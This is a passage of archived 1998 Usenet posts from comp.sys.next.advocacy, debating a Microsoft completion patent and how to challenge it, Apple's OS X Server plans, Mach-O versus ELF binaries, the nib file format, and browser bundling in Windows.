>File name completion in csh (at least) existed LONG before the dates of
>this patent. I would expect it to be trivial to challenge this patent.
>
>Wonder if you can do a class action suit as a patent challenge. :-}
>
Hmm, that's an interesting idea? The wrong being that the people are being
robbed of their entitled art. Hmmm, I'll have to run that down with my
friends as an interesting idea. :)
Anyway, there are 3 things you can do. You can (1) cite prior art (patents)
or publications with the Patent Office. That will do nothing to mush the
patent per se, however it is free, and it will set a time bomb for the other
detonating options. The cited art will be placed in the patent's file at
the PTO. (2) you can challenge the patent's validity (via declaratory
judgement or otherwise); however to do so you must enjoy standing (i.e.
genuinely be in danger of infringing the patent at issue and feel the threat
of a suit) or be sued to play in the expensive validity game. (3) file for
a
reexamination. This costs much less than a validity fight and can feel like
a very unpleasant probe to the patent holding company. The great thing
about (1) is it's free, and anyone who does (2) or (3) later on will have
(1) their waiting to help mush on the patent.
Anyway, the short of it is that anyone can do a reexam, but you pretty much
need someone with standing to initiate a validity contest. Which might not
be so difficult to do, you can just send a letter to the patent owner
telling that you are planning to code up a product that would violate their
patent, and ask them what they would do about it if you do. If they send
you nasty letter saying they'll sue you, you can then go ahead and go about
getting a declaratory judgement. However, that's REALLLLLLLLLLLLLLLLLLY
expensive, and likely a DANGEROUS idea. :)
Regardless, I believe a while back I saw a website and organization
mentioned in this group that goes about mushing silly patents (likely
unmeritorious software patents). I don't have the link (if anyone happens
to know what I'm talking about I'd appreciate an email to it :), but I
believe it may have had something to do with a Sun software patent that
someone didn't like. I have it on my NeXT machine somewhere, but that is
without a monitor right now.
STANDARD TUSHY COVERING DISCLAIMER:
The above in no way represents legal advice. No attorney client
relationship has been established. The above should not be viewed as
representative of the actual state of the law. It should be assumed that
the above information, if anything, is likely wrong. The interests of the
reader are in no way being served. The above is a work of non-fiction and
should be treated as such by the reader. Any resemblance to the actual
state of the law or to legal advice is a mere coincidence and nothing more.
Smoking is hazardous to your health. Don't drink and drive. Use
condoms...even by yourself. Do not mistake laxatives for desert. Wait an
hour before swimming. Do not affix tongue to cold pole.
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com> <cdoutyF433M5.FxE@netcom.com>
Subject: Re: Microsoft patented 'completion'
Message-ID: <4XFe2.1685$qF5.4933614@lwnws01.ne.mediaone.net>
Date: Fri, 18 Dec 1998 23:32:12 -0500
NNTP-Posting-Date: Fri, 18 Dec 1998 23:27:44 EDT
Organization: Northeast Region--MediaOne
Chris Douty wrote in message ...
>Good question. That's part of why I wondered if there is a freely
>accessible patent database. I'd like to see exactly what MS's "method
>and apparatus" are. There is always the possiblity that they really did
>come up with a novel method for suggesting completions. I rather doubt
>it, but it is possible.
http://www.patents.ibm.com/ibm.html
http://www.uspto.gov/
The above sites will let you see patents to varying degrees.
From: db003g@news.cc.rochester.edu (Daniel Joseph Berlin)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 19 Dec 1998 04:59:01 GMT
Organization: University of Rochester
Message-ID: <75fbql$48p32@biko.cc.rochester.edu>
References: <36778d0e.0@news.depaul.edu>
It's much worse.
Actually, that, i believe is the patenting of "autocomplete" or whatever, in excel.
it refers mainly to spreadsheets.
how bout you beat THIS one
US5768566: Method and facility for uninstalling a computer program package
and THIS one explains a hell of a lot
US05768385 06/16/1998 Untraceable electronic cash
they also have the joystick, "Computer output device", etc.
US05771381 06/23/1998 Method and system for adding configuration files for a user
US05758154 05/26/1998 Method and system for storing configuration data into a common registry
US05745902 04/28/1998 Method and system for accessing a file using file names having different file name formats
This is very common.
Of course, you'd rape them in court, and feel good about it.
--Dan
: Filed June 5 1996
: Issued Dec 1, 1998
: US5845300: Method and apparatus for suggesting completions for a
: partially entered data item based on previously-entered,
: associated data items
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Message-ID: <SPAMLESSforrest-1812981300360001@term6-47.vta.west.net>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <75e3ra$8nj$1@crib.corepower.com> <75e78c$eov$1@geraldo.cc.utexas.edu> <75e7nl$f4t$1@geraldo.cc.utexas.edu> <75edee$8vv$1@crib.corepower.com>
Organization: Obsidian
m[*bZ@orwvjNs_Y`HucO|hS5B\Wtfn[I;-a7fYVxYNgy^&BAA8V:/PE)ifFiP$Y,n.^E
IW*iW:)XcO:j!0sptC34>3492bv9g8xXx[,J+`fYSPIbr8+_9?HpL(5!eY$4_``#GbcR
>NN3xw;&u1*2{u3
Date: Fri, 18 Dec 1998 13:00:35 -0800
NNTP-Posting-Date: Fri, 18 Dec 1998 12:56:03 PDT
In article <75edee$8vv$1@crib.corepower.com>, nurban@vt.edu wrote:
>I said _pasteboard_, meaning "clipboard". Is it possible to graphically
>inspect the MacOS _clipboard_? What Maury and I were talking about was
>a combination of the clipboard/pasteboard with the desktop clipping thing.
Yes, you can. Edit -> Show Clipboard. Unfortunately a lot of apps don't
implement this, which rather bites.
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Message-ID: <tbrown-1912980100280001@d187.ecr.net>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
Organization: Brownian Motion
Date: Sat, 19 Dec 1998 01:00:27 -0500
NNTP-Posting-Date: Sat, 19 Dec 1998 00:01:18 CDT
In article <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>I've often wondered what the point of releasing OS-X Server actually is.
>Apple says that there is never going to be anything beyond v.1.0, and that
>OSX-Server won't have Carbon support, so basically what you get is an
>OS which will run Yellow-Box apps, or current MacOS apps (in a container)
>along with Java apps. Doesn't seem very compelling to me. There aren't
>that many Yellow-Box apps (and won't be despite the fact that the Yellow
>Box is a far better cross-platform development environment than is Java)
>and the MacOS that they are saying OS-X server will ship with is OS8.1.
>If Apple did decide to shelve it and go directly for the gold, it wouldn't
>surprise me, and its probably NOT a bad move.
Reasons to release OSXS:
a) Because Apple said they would, and occaisionally it's nice to keep your
promises.
b) Apple said there would be an Intel version (and won't commit to one for
OS X). (see (a))
c) Some machines will support OSXS but not OSX. The response to OSXS
could be a good test for Apple if they should bother supporting those
machines.
d) A few of Apple real Enterprise customers from NeXT think OSXS is
already much too late, and OS X won't ding their Intel bell either.
e) Some loyal Mac users really do want to get a looksee at Yellow, and
might even use it. (I'm a loyal mac user, I used Yellow's ancestor and am
impatiently waiting for Apple to screw me by charging way too much $$ for
OSXS in an effort to discourage me.)
f) If Apple releases OSXS, they can release a "Carbon Beta" program for
anyone running OSXS. (Assuming that it can run atop DPS, since QDe seems
to be a subset of DPS. Carbon has been demoed upon a Rhapsody Beta.)
Widespread testing before OSX is release would be a very good thing.
g) Since Apple's already done all the design, programming, and testing,
why not release it and make a buck or two?
h) It's been awhile since Apple's axed support for something, this one
gets the axe built in!
--
tbrown@netset.com
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec18100942@slave.doubleu.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
<SCOTT.98Dec11174346@slave.doubleu.com>
<qcDd2.4402$f97.3735@news.rdc1.sdca.home.com>
<367705A9.2E8E1132@nstar.net> <SCOTT.98Dec16112323@slave.doubleu.com>
<Y4ee2.75$u04.92@news.rdc1.sdca.home.com>
In-reply-to: rr6013@yahoo.com's message of Thu, 17 Dec 1998 20:46:48 GMT
Date: 18 Dec 98 10:09:42
NNTP-Posting-Date: Sat, 19 Dec 1998 01:59:50 PDT
In article <Y4ee2.75$u04.92@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) writes:
In <SCOTT.98Dec16112323@slave.doubleu.com> Scott Hess wrote:
> In article <367705A9.2E8E1132@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> writes:
> Rex Riley wrote:
> Unfortunately, "Public Radio" and "Public Television" use
> "Public" with a capital 'P', meaning that they're heavily
> tax-subsidized, and subject largely to the artistic outlook
> of, say, the National Endowment for the Arts.
>
> I'm _not_ going to go there... my goal is to meet my "using
> public" halfway. I don't want to be paid market rates for my
> non-billable time. Rather, I'm looking for a justifiable way to
> motivate me over the hump of _finishing_ some of these little
> utilities. ["Finish" meaning things like Preferences panels -
> when you have the source, you don't need a Preferences panel
> :-).]
This has a simple, personal closure aspect that belies the PBS
metaphor, maybe.
I'll admit that. But regarding the "public good" aspect, I'm talking
about OpenSourcing stuff along the lines of the Qt license
(http://www.troll.no/qpl/). Meaning that you get the source, you can
learn from the source, you can modify the source - but you can't
distribute the modified source. I expect most users would rather just
run the pre-packaged binaries, though.
I was assuming the cashflow from the PBS campaign would motivate
your continued development, update and distribution. If I read
this last "finish" correctly, you simply want to Lighthouse your
utilities in source code form on a "one-time" contribution basis?
Well, yes, it would also help with continued maintenance. But, to a
certain extent, once you've got the ball rolling with an involved
userbase, it's not so hard to keep it moving. But, I, personally,
find it hard to put in the added effort for a utility that already
does what I need it to, and is too small to release as shareware or
commercialware. And I'd rather not arbitrarily package a bunch of
unrelated utilities to raise the perceived value. [I'm specifically
thinking of things like TimeMon, here. The initial development took
all of two hours. Polishing things into something I was proud to put
on display to the world took _significantly_ longer than that. Back
then, I had more free time on my hands, though :-).]
Really, I'm looking to move from a shareware model ("Scott, Stuart is
really useful, keep making it more useful") to something a bit less
specific ("Scott, you do interesting work, keep doing interesting
work"). This has been in the back of my mind for a long time, because
I used to get shareware registrations where people would comment on
whatever _other_ stuff I was doing. It's only in the past year that
OpenSource went from being considered somewhat extremists to being
mainstream, and Apple has given me some hope that my base of
experience will continue to be useful. [In the YellowBox realm, I can
toss off 100 hours of work resulting in something useful to users on
its own, and also useful to learners. I couldn't do as well in
another market, because I don't have the experience there.]
I thought the PBSware was a support model with an economic
side-effect. Critical mass has little to do. PBSware relies on
the economic relationship to support the product development goals.
There's more to it than that, though, or at least I intend there to
be. PBS/NPR certainly do a certain amount of programming that anyone,
anywhere, would pay good money to have. But they also do programming
that would never get done elsewhere, because there's no payback from
it, or at least no immediate payback. There are people like Ken Burns
who do wonderully epic documentaries. He could probably make a lot
more money elsewhere, but apparently likes the editorial freedom PBS
gives him.
_That's_ the flavor of where I'm aiming. I don't want customers to so
much pay for specific development (like shareware) as pay for
unspecified development. In a given quarter, perhaps $500 comes in,
and I might spin that out to a week's worth of work (that I could have
billed a client $2000 for). If things go well, we setup a positive
feedback loop - I do work that others find worthwhile, they send in
bits of money along with good suggestions for future work, leading to
more involved customers, and a win-win situation.
The economic relationship wouldn't directly fund development, though
it would provide leverage to get development done. Likewise, good
user feedback also provides leverage to get development done. The
economic relationship seems complement the quality of user feedback in
interesting ways.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec18101514@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com>
<FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com>
<754lhd$gi1$15@blue.hex.net> <757gfs$5td@news1.panix.com>
<758kft$po6$2@nnrp03.primenet.com>
<SCOTT.98Dec16115145@slave.doubleu.com> <F4499D.E1s@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Thu, 17 Dec 1998 15:48:48 GMT
Date: 18 Dec 98 10:15:14
NNTP-Posting-Date: Sat, 19 Dec 1998 01:59:50 PDT
In article <F4499D.E1s@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Dec16115145@slave.doubleu.com> Scott Hess wrote:
> _I_ thought this was more than strange - it was bizarre. How
> will Apple, of all companies, succeeed with a UNIX binary format
> where pretty much every UNIX distributor in existence has failed?
Because they'll likely just use the existing YB format, which can
contain any format inside of it.
Untrue. The OpenStep/Mach and MacOS X Server formats can do this.
"YellowBox" doesn't have a binary format.
> Besides that, what's wrong with ELF, which appears to be the de
> facto standard UNIX binary format? Apple would probably be
> better off putting their weight behind _existing_ UNIX binary
> formats.
Because it only works on one platform.
Again, untrue. ELF should work on any platform. The fat-binary hack
on OpenStep/Mach could just as easily be added to ELF as it was added
to Mach-O. [Basically, NeXT just added a new magic number, followed
by a header which indicated offsets and lengths for the individual
architectures. The executables for the individual architectures were
_literally_ just concatenated together with padding as necessary.
Unless I misremember, they didn't even merge common segments like the
__NIB segment, which is why they went with the .app wrapper.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec18103202@slave.doubleu.com>
References: <3675C7C4.861C5575@nstar.net>
<slrn77gkej.2a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<759jto$3l4$1@crib.corepower.com> <F449wJ.EFE@T-FCN.Net>
<75bflh$5lo$1@crib.corepower.com>
In-reply-to: nurban@crib.corepower.com's message of 17 Dec 1998 12:40:01 -0500
Date: 18 Dec 98 10:32:02
NNTP-Posting-Date: Sat, 19 Dec 1998 01:59:51 PDT
In article <75bflh$5lo$1@crib.corepower.com>,
nurban@crib.corepower.com (Nathan Urban) writes:
In article <F449wJ.EFE@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <759jto$3l4$1@crib.corepower.com> Nathan Urban wrote:
> > How is efficient remote display under the new graphics model
> > going to be possible? Transferring bitmaps over a wire isn't
> > good for bandwidth, but without a client/server display model,
> > I don't know how else you could do it.
>
> Trap out the call stream to the engine (the same way it works now
> under DPS and QD) and also send updated state. As long as the
> state information is per-task, and that information isn't very
> large, this is not a difficult task.
Either I don't understand what you're suggesting, or I don't
understand how the new graphics model is going to work, or both.
It was my understanding that in the new graphics model, the window
server would merely allocate a buffer of memory and hand it to a
process via shared memory or something. The process would call
drawing APIs that would write directly into the display buffer. Is
this correct so far?
It depends on if the app can draw directly into the buffer (aka
NSInterceptor), or if it has to use an API. On the API route, if the
buffer were represented by an Objective-C object, and the API were the
methods of that object, it wouldn't be too bad to just make most
methods (oneway void), and use DO to distribute. Also on the API
route, if the API were completely encapsulated within a single
framework (shared library), you could override that framework to
distribute (that would require that the framework not implement
_other_ functionality! You don't want to have to rewrite libc to
implement a remote windowserver!).
If it's something like NSInterceptor, then you're hosed. You don't
want to remote by sending bitmaps over the wire, for all that things
like VNC are very useful.
[Overriding the framework has suspicious resonances with the "Load and
Go" technology that was discussed at the last NeXTworld...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec18102425@slave.doubleu.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net>
<757gfs$5td@news1.panix.com> <758kft$po6$2@nnrp03.primenet.com>
<SCOTT.98Dec16115145@slave.doubleu.com>
<75aps6$csu$1@bartlet.df.lth.se>
<joe.ragosta-1712980910140001@elk85.dol.net>
In-reply-to: joe.ragosta@dol.net's message of Thu, 17 Dec 1998 09:10:14 -0500
Date: 18 Dec 98 10:24:25
NNTP-Posting-Date: Sat, 19 Dec 1998 01:59:51 PDT
In article <joe.ragosta-1712980910140001@elk85.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) writes:
> In article <SCOTT.98Dec16115145@slave.doubleu.com>,
> Scott Hess <scott@nospam.doubleu.com> wrote:
> >_I_ thought this was more than strange - it was bizarre. How
> >will Apple, of all companies, succeeed with a UNIX binary format
> >where pretty much every UNIX distributor in existence has
> >failed?
>
> By becoming the first distributor of a Unix-based system that
> manages to sell their product through retail, and into homes as
> well as offices and server settings, on a large scale?
You're right.
It's not that far-fetched that Apple will have sold more unix
licenses than any hardware vendor ever within a couple of years
(counting Mac OS X as a Unix). Apple will be in a unique position
to work with Unix vendors to try to unify the different unices (and
one of the rumors sites says they've already started down that
path).
Apple may very well, at some future point, become the dominant Unix
vendor. But they won't do that within the current Unix market,
they'll do that by adding a new market, or subverting an old market.
So perhaps their additions won't even be applicable to what we now
think of as "Unix".
In any case, why is _Apple's_ Unix binary format better than anyone
else's? What compelling additions does it have over, say, ELF? I'm
much more familiar with Mach-O than I am with ELF, and I can't think
of anything compelling enough that would cause me to convert, were I
an OS vendor. Someone has mentioned fat (multi-architecture)
binaries, but that could be trivially added to something like ELF in
the same way as NeXT added it to Mach-O. [Specifically, the hard part
is converting everyone to the new kernels that can execute the new
format - it's not making a format that does the job.]
Actually, given Apple's point on the market-size curve, it would be
easier for them to take an established format, like ELF, and add what
they need to it, rather than drag everyone else over to Mach-O. By
starting with ELF, there's half a chance that everyone will follow
along, because they only have to do new work to get new features, and
all their old stuff will continue to work (without the new features).
Going with Mach-O would require everyone else to do lots of new work
to get the same features they already have. It's not like Apple has a
huge installed base of Unix users to worry about, the other companies
_do_.
[Of course, they might be modifying ELF to do what they need. That's
the nature of rumors from non-technical websites, they never have
enough meat in them :-).]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: sxr@spam.hotmail.com (Sam)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: MS Encarta says IE is not part of the OS
Date: Sat, 19 Dec 1998 10:42:46 GMT
Organization: Magna Data - Internet Solutions Provider
Message-ID: <367b8103.3960584@news.magna.com.au>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <slrn77j8d2.t4.dulino@localhost.localdomain> <slrn77jfa6.129.dulino@localhost.localdomain>
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On Fri, 18 Dec 1998 02:50:24 GMT, dulino@localhost.localdomain (Oleg
Dulin) wrote:
>
>BTW, Microsoft's own Encarta (http://encarta.msn.com/) states that an OS is
>a layer between the software and the hardware, something like DOS or
>Linux kernel. Check it out for yourself -- go to http://encarta.msn.com/ and
>search for "operating system."
Windows 98 apart from a browser also includes :-
File manager
Search programs
Backup program
Communications terminal program
Cd-player program
Sound recorder
Video conferencing software
IRC software
Etc
Etc
All these at some stage in the last 10 years were also not part of
many OS's (still aren't)
And your point is ?
>
>Also, Encarta says that Windows is a GUI on top of DOS, while Windows NT is
>a separate operating system. Technically speaking, Windows 95 is _not_
>Windows NT and therefore is a GUI on top of DOS.
>
>Don't take my word for this -- look it up for yourself.
Linux has nothing, no GUI, nothing, it's only a kernel.
Again, your point is ?
Sam
From: Tim Kelley <tpkelley@ix.netcom.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Sat, 19 Dec 1998 06:16:16 -0600
Organization: ICGNetcom
Message-ID: <367B9910.F9E9AECF@ix.netcom.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com> <74niqa$but@news1.panix.com> <slrn76v50k.25i.jedi@dementia.mishnet> <74qc67$7pg@news1.panix.com> <36750259.171E58DC@ix.netcom.com> <757gbp$5st@news1.panix.com>
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Sal Denaro wrote:
>
> On Mon, 14 Dec 1998 06:19:37 -0600, Tim Kelley <tpkelley@ix.netcom.com> wrote:
> >The Open Source browser (ver 5) has not been released yet, so your point
> >is meaningless. It scheduled for release mid-next-year, so check back
> >then. ver 4x is still a bloated crap-hog.
>
> I would go along with this if I thought the best product always wins; but
> I don't.
>
> I don't doubt that NN5 will be great. What I do doubt is that it will
> save Netscape.
Well, Netscape was "saved" by AOL. By opening up the browser, they may
not have saved Netscape (the company) but they certainly saved Mozilla,
for all the good it does them.
--
Tim Kelley
tkelley@ix.netcom.com
New Orleans, LA
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB for Linux
Date: 19 Dec 1998 13:27:00 GMT
Organization: AOL http://www.aol.com
References: <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net>
Message-ID: <19981219082700.00840.00000155@ng-bw1.aol.com>
>>(Chris Hanson) wrote:
>> ObGNUstepPlea: Please, Apple, publish the nib file format.
to which Hugh Johnson hugh@deletethis.semplicesoft.com replied:
>Do nibs have a uniform file format? I thought they were just blocks of
>whatever-you-want, like resources in a Mac resource fork. What, then if
>they adhere to a format, then you need a special editor for them, like
>ResEdit? What's the advantage of that?
The advantage to having the .nib format documented would be that then .nibs
could be shared between NeXT/OPENstep/MacOS X/GNUstep development efforts.
All of the publicly available source code for NeXT/OPENstep applications could
then be made use of within the GNUstep project, giving it a huge boost.
There's already been some discussion on the GNUstep list regarding what can be
done to help support commercial development under GNUstep--the recent Omni
release of their frameworks is the first visible sign of this. It'd be nice if
Apple could chip in this small thing.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 19 Dec 98 13:01:15 GMT
Organization: P & L Systems
Message-ID: <367ba39b.0@stan.astra.co.uk>
References: <ct8ww3p6xh1.fsf@alycia.dementia.org> <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net>
Mime-Version: 1.0
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Cc: hugh@damnspam.semplicesoft.com
In <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net> Hugh
Johnson wrote:
> Do nibs have a uniform file format? I thought they were just blocks of
> whatever-you-want, like resources in a Mac resource fork.
>
Nibs do have a uniform file format, in that they represent serialised
archived objects, and the connections between them. The only problem is that
NeXT/Apple haven't told us what the format is.
> What, then if
> they adhere to a format, then you need a special editor for them, like
> ResEdit? What's the advantage of that?
>
The "special editor" is InterfaceBuilder, which allows you to graphically lay
out the interface and set the connections between components. It's not like
you're presented with text and you have to type in stuff. And I reiterate
the above implication, nibs do *not* represent code, they represent
"freeze-dried objects".
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 19 Dec 98 13:07:09 GMT
Organization: P & L Systems
Message-ID: <367ba4fd.0@stan.astra.co.uk>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com>
<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
<F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com>
<F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com>
<7477vl$kf5$6@msunews.cl.msu.edu> <36711215.0@stan.astra.co.uk>
<7YCd2.4401$f97.3735@news.rdc1.sdca.home.com>
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Cc: rr6013@yahoo.com
In <7YCd2.4401$f97.3735@news.rdc1.sdca.home.com> Rex Riley wrote:
> > > I will predict one thing if Apple bundles WO4 with OS X and prices it
at
> > 1.5K
> > > or higher AND doesn't show OS X with SMP kernel and SMP boxes by
> > > at the worst MacWorld 99 that Server will effectively be dead.
> > >
> > I predict it won't be.
>
> Is this another of your predictions like OS X server shipping Nov99?
>
I posted a while back that I did not *predict* that OS-X would ship in
November (there were two dates involved for a start), and further that I had
my own reasons for making the bet.
Check Dejanews for details.
> Or just another veiled attempt to direct discussion in some personal
direction?
>
I don't understand whay you're implying by this.
I'm simply stating my belief that even if the conditions are not met, Server
will not be "dead".
mmalc.
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: rtm@dwrock.dw.lucent.com (Dxx-Richard_T_Myers(0)0)
Subject: Re: Why can't MS ship a browser? Everyone else does.
Message-ID: <F47y2K.1sz@drnews.dr.lucent.com>
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Sender: news@drnews.dr.lucent.com (Netnews Administration Login)
Organization: AT&T
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
Date: Sat, 19 Dec 1998 15:37:32 GMT
Boris (borisspamno@pleasemovil.com) wrote:
: A collegue at work compared this with Ford
: shipping cars with radio, so that consumers
: could decide and insert radio of their choice.
: I agree that it's applicable comparison.
Well, it is a start. Consider that Ford-M$oft implements the philosophy, "you
can have any radio you want, as long as it is a Ford-M$soft radio." Your new
car comes with a radio that is:
o Built in as an integral part of the dash, it takes a trained mechanic with
a blow torch to replace it with an after-market radio;
o Tunes to the Ford-M$soft corporate radio station for the first three minutes
by default, while you are blasted with commercials for which THEY are paid;
o Doesn't tune some of the stations you want, due to proprietary format;
o Doesn't have much competition from other radio manufacturers, because
since Ford-M$oft has 90 percent of the car market, you have very little choice
in brand of automobile, Chevrolet having been purchased by a farm implement company;
o Because of the above, FM is never invented;
o Because of 90 percent market share, the automobile itself won't run faster
than 45 miles per hour (but it LOOKS impressive at 45 MPH!);
o The automobile dies every 200 miles, but it takes only a few minutes to
get it started again;
o You may need to pay help-line fees when you discover that spark plugs are
embedded in something mysterious called the "engine registry";
o If you buy new tires/wheels, you need to upgrade the entire vehicle because
the bolt pattern has been changed;
o The gas mileage sucks.
best wishes,
--
richard myers
rtmyers@lucent.com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 19 Dec 1998 15:50:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75gi0a$lcg@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <367969ed.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-dWbOR7wbd7i7@localhost>
On 18 Dec 98 18:03:48 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>In reply to the message that the quote was lifted from I also received
>a mention of a toolkit for porting Linux's GPL'd drivers to Mac OS
>(X?) and while I couldn't find the referred StepWise article the
>existence of such a toolkit would naturally help Mac OS X's viability
>on Intel were such port to materialize.
I didn't say anything about a toolkit. If you head over to:
ftp://ftp.accentcomm.com/pub/downloads/Rhapsody/NE2K-0.91b.html
you'll see the readme file of someone who used Linux driver code to
Rhapsody DR2 on Intel.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 19 Dec 1998 16:03:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <75gipa$llq@news1.panix.com>
